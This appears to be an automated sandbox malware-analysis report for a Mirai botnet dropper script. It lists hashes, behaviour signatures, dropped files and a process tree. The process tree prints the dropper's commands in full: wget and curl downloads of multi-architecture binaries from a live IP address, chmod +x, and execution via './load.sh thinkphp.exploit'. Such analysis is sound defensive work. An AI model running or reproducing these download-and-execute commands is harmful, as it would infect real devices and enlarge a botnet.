Analysis

  • max time kernel
    22s
  • max time network
    52s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-10-2024 01:18

General

  • Target

    220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh

  • Size

    4KB

  • MD5

    80299ebce287b053ec82cff873ddf3b4

  • SHA1

    1cf8df1f0b5e0903ac1a103e4acee85a5f0d6e00

  • SHA256

    220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c

  • SHA512

    0f48a97903275e97c681719d763775f5a3817b7d1c40ef475d9e444b1fea5d2f1036237b676ff2d22446f80a9ee882d7f738dbd1f17d8c677082d0a63ffc86f6

  • SSDEEP

    96:vNVjNNw4gNx/5NN7lNdMdEpFyNn9/NUssN2mmNRfpN3tnNue2NySqNGWeNPl0:YO4Fs

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (19998) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 48 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh
    /tmp/220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh
    1⤵
    • Writes file to tmp directory
    PID:645
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:647
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:662
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:671
      • /bin/chmod
        chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
        2⤵
        • File and Directory Permissions Modification
        PID:673
      • /tmp/load.sh
        ./load.sh thinkphp.exploit
        2⤵
        • Executes dropped EXE
        PID:674
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:678
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:680
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:681
      • /bin/chmod
        chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
        2⤵
        • File and Directory Permissions Modification
        PID:682
      • /tmp/load.sh
        ./load.sh thinkphp.exploit
        2⤵
        • Executes dropped EXE
        PID:683
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:685
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:686
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:693
        • /bin/chmod
          chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/load.sh
          ./load.sh thinkphp.exploit
          2⤵
          • Executes dropped EXE
          PID:695
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:698
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:703
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:709
          • /bin/chmod
            chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/load.sh
            ./load.sh thinkphp.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Changes its process name
            • Reads runtime system information
            PID:712
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:715
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:739
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:747
            • /bin/chmod
              chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/load.sh
              ./load.sh thinkphp.exploit
              2⤵
              • Executes dropped EXE
              • Reads runtime system information
              PID:750
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:755
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:757
              • /bin/chmod
                chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                2⤵
                • File and Directory Permissions Modification
                PID:758
              • /tmp/load.sh
                ./load.sh thinkphp.exploit
                2⤵
                • Executes dropped EXE
                • Reads runtime system information
                PID:759
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:761
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:792
                • /bin/chmod
                  chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                  2⤵
                  • File and Directory Permissions Modification
                  PID:793
                • /tmp/load.sh
                  ./load.sh thinkphp.exploit
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:794
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:796
                • /usr/bin/curl
                  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:803
                • /bin/cat
                  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                    PID:804
                  • /bin/chmod
                    chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:805
                  • /tmp/load.sh
                    ./load.sh thinkphp.exploit
                    2⤵
                    • Executes dropped EXE
                    PID:806
                  • /usr/bin/wget
                    wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:809
                  • /bin/cat
                    cat db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                      PID:810
                    • /bin/chmod
                      chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                      2⤵
                      • File and Directory Permissions Modification
                      PID:811
                    • /tmp/load.sh
                      ./load.sh thinkphp.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:812
                    • /usr/bin/wget
                      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:814
                    • /usr/bin/curl
                      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:815
                    • /bin/cat
                      cat db0fa4b8db0333367e9bda3ab68b8042.spc
                      2⤵
                        PID:817
                      • /bin/chmod
                        chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                        2⤵
                        • File and Directory Permissions Modification
                        PID:818
                      • /tmp/load.sh
                        ./load.sh thinkphp.exploit
                        2⤵
                        • Executes dropped EXE
                        PID:819
                      • /usr/bin/wget
                        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
                        2⤵
                        • Writes file to tmp directory
                        PID:821
                      • /usr/bin/curl
                        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:823
                      • /bin/cat
                        cat db0fa4b8db0333367e9bda3ab68b8042.i686
                        2⤵
                          PID:824
                        • /bin/chmod
                          chmod +x 220d36bded88e96516faa4ccdd36e291ad8a7639f36d51e2a3f18098f14f7a0c.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-801bd9775fe342c58a838e4ad6e9e9ae-systemd-timedated.service-JVItU3
                          2⤵
                          • File and Directory Permissions Modification
                          PID:825
                        • /tmp/load.sh
                          ./load.sh thinkphp.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:826
                        • /usr/bin/wget
                          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
                          2⤵
                            PID:828

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

                          Filesize

                          33KB

                          MD5

                          6d1b6e91b1e2037fbf62ca7ddcf04932

                          SHA1

                          d0769095ec2e678074eb206b3537022129c1a776

                          SHA256

                          7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                          SHA512

                          7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                        • /tmp/load.sh

                          Filesize

                          35KB

                          MD5

                          fd5d7deebbb62aee931a1701a1042450

                          SHA1

                          4adc94ce9de13647815a16d6514b73e109c80785

                          SHA256

                          7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                          SHA512

                          cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                        • /tmp/load.sh

                          Filesize

                          37KB

                          MD5

                          144cc0c6dfb6f6e395065b02825a9ad1

                          SHA1

                          dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                          SHA256

                          117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                          SHA512

                          9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                        • /tmp/load.sh

                          Filesize

                          34KB

                          MD5

                          b478298246ee6d313f4f576d0f7ec4cd

                          SHA1

                          94d25c6d4cfb1e218120d378d14c8d5ab868363b

                          SHA256

                          ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                          SHA512

                          83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                        • /tmp/load.sh

                          Filesize

                          30KB

                          MD5

                          d8893525da7152c787dcc7d6309a61ba

                          SHA1

                          87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                          SHA256

                          2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                          SHA512

                          8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                        • /tmp/load.sh

                          Filesize

                          83KB

                          MD5

                          5066ac4ea34bc36686d60cfd24fa8f9c

                          SHA1

                          7fd85df1be120bd57205d206811f6a22cada5546

                          SHA256

                          6cb54cc4dba85d436e253da51555dc40f47b82ec0c96d8b3aba90b3f554f957d

                          SHA512

                          ccca82b9e33e41532960e8d53913d0b9c9cf6c8c7ce6aa9d1ff7fb1c59b2fd9fbca247b9e930b37c64d8290a712cae30b06493074117a0699e0391acb6f88ba1

                        • memory/712-1-0x00008000-0x00025708-memory.dmp

                        • memory/750-2-0x00008000-0x00022808-memory.dmp

                        • memory/759-3-0x00008000-0x00031a8c-memory.dmp

                        • memory/794-4-0x00008000-0x0002d52c-memory.dmp